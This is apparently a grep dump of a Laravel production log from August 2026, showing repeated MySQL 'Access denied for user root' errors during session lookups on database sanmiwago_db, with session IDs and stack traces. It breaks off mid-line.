/var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-22 21:50:19] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 5V9FWJipOnXUX0V2c9aM5WoqiznwwzQcRsf74KAA limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 5V9FWJipOnXUX0V2c9aM5WoqiznwwzQcRsf74KAA limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-22 22:47:13] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fq91elcQnIasREn3NZcqCxl2wvQSlwe2nOATGcaG limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fq91elcQnIasREn3NZcqCxl2wvQSlwe2nOATGcaG limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-22 22:49:59] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jrzpQHK8tr6FWNOJO0hasLXLhkvQAYKV9RisQkRV limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jrzpQHK8tr6FWNOJO0hasLXLhkvQAYKV9RisQkRV limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-22 22:49:59] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = r2ysaCzrY1zBxdHE5w56Xwbacqpoc20EPjFu0JpK limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = r2ysaCzrY1zBxdHE5w56Xwbacqpoc20EPjFu0JpK limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-22 22:49:59] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RLqbSypSliSR5SCKnCiMutbfg8K4ZY9paTep2nxk limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RLqbSypSliSR5SCKnCiMutbfg8K4ZY9paTep2nxk limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-22 22:49:59] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = p8cL2vQOQrFuO1geOWuKnkDlx2aEXbQ1qMJwZYx2 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = p8cL2vQOQrFuO1geOWuKnkDlx2aEXbQ1qMJwZYx2 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-22 22:50:00] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = eZW2xJwaEUxaoOrG2qrMnBC9pOV9NLmKryPNeNLu limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = eZW2xJwaEUxaoOrG2qrMnBC9pOV9NLmKryPNeNLu limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-22 22:50:01] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ERYh3BIeFbsaj54q0je85ryxHqudui2LVbkVY1cU limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ERYh3BIeFbsaj54q0je85ryxHqudui2LVbkVY1cU limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-22 23:41:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2pfjzvmEXNmeVpocqbYknjhdFcnVg09012lcsZIG limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2pfjzvmEXNmeVpocqbYknjhdFcnVg09012lcsZIG limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-22 23:43:54] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = bAqNGtgEVQyxHkkyVNF2MxlYtrOU8GwxIJ5ml0OT limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = bAqNGtgEVQyxHkkyVNF2MxlYtrOU8GwxIJ5ml0OT limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-22 23:43:54] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tAl3NfMI6mockGbjmjVxj1gv1IUkEwXroCS0DsDe limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tAl3NfMI6mockGbjmjVxj1gv1IUkEwXroCS0DsDe limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-22 23:43:54] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HBbQaKT5bK49iRSq36lKcNdF8YkEAL6alLgD89ek limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HBbQaKT5bK49iRSq36lKcNdF8YkEAL6alLgD89ek limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-22 23:43:54] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = prLAwgzu60Yddn4jtcaYIMXakxF3MRFJBC4BSivp limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = prLAwgzu60Yddn4jtcaYIMXakxF3MRFJBC4BSivp limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-22 23:43:54] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UYcIMsGZ0Oy5MCfcdWG7VFc1HnL86WWGR2Kz8gPx limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UYcIMsGZ0Oy5MCfcdWG7VFc1HnL86WWGR2Kz8gPx limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-22 23:43:55] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ekAsGUh2M1SmRBL8ikCld4PFYJzbbcTlbhSHLVWU limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ekAsGUh2M1SmRBL8ikCld4PFYJzbbcTlbhSHLVWU limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-23 01:26:38] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = go04V8vXNI9cd0tAIXx7VQzSYAtYHAZHv5vsaln1 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = go04V8vXNI9cd0tAIXx7VQzSYAtYHAZHv5vsaln1 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-23 03:45:42] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = lFtD6LyyPAvlZE56495wDXRlGIhcFdLDeQXqYK1O limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = lFtD6LyyPAvlZE56495wDXRlGIhcFdLDeQXqYK1O limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-23 20:38:29] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UYacp5xVBFDMwUfVzRgk1HVB1EKmhgk6plSoJbmM limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UYacp5xVBFDMwUfVzRgk1HVB1EKmhgk6plSoJbmM limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-23 20:38:29] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IWaFuBZ4AOLV34pCuZPzgKH6u5VnfWavVkg0NarH limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IWaFuBZ4AOLV34pCuZPzgKH6u5VnfWavVkg0NarH limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-23 20:38:30] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = rokFjEG80B2I6LCvsDk4y7njmcmcecVT4RNWeKeW limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = rokFjEG80B2I6LCvsDk4y7njmcmcecVT4RNWeKeW limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-23 20:38:31] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 77CQWKYbGUuPNtgz4JBi0UjzACVB2G9q6Cd5qjox limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 77CQWKYbGUuPNtgz4JBi0UjzACVB2G9q6Cd5qjox limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-23 20:38:31] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hxSdx1iAgNc5QICOHiYHtfLiQAU9n7Nnmon1r83j limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hxSdx1iAgNc5QICOHiYHtfLiQAU9n7Nnmon1r83j limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-23 20:38:32] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NSK82ssGgPNE2unbHCZN35wN5Cei6ZBm2vN9WaTs limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NSK82ssGgPNE2unbHCZN35wN5Cei6ZBm2vN9WaTs limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-23 20:38:33] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = baFAyWRqirCZSzcYfTX1HbEtN9dHcK2iXvx11ap8 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = baFAyWRqirCZSzcYfTX1HbEtN9dHcK2iXvx11ap8 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-24 11:44:48] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IiHnnZY2IBYErgyvzBQyEck4HGDOq3xXYp8X9uQT limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IiHnnZY2IBYErgyvzBQyEck4HGDOq3xXYp8X9uQT limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-24 11:47:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = B8czPS4JyF7x1Ed5vq8w9FxYxb6d15RsoaFrxsMz limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = B8czPS4JyF7x1Ed5vq8w9FxYxb6d15RsoaFrxsMz limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-24 11:47:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = grUhfOwCun8lfhG0fz6UytI7cesxqfgZ4NgLZHVu limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = grUhfOwCun8lfhG0fz6UytI7cesxqfgZ4NgLZHVu limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-24 11:47:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cgEdLUCC8h1FmXjKzVzRVnt7Awhq5F46rC7Fns6V limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cgEdLUCC8h1FmXjKzVzRVnt7Awhq5F46rC7Fns6V limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-24 11:47:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RZX9VO60uISaNpU15gAGqiEoanmaLFH25SfnnUdL limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RZX9VO60uISaNpU15gAGqiEoanmaLFH25SfnnUdL limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-24 11:47:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MKdjTatK67ODaUI4k1auohORVf9gzPNJcg5zdlWv limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MKdjTatK67ODaUI4k1auohORVf9gzPNJcg5zdlWv limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at 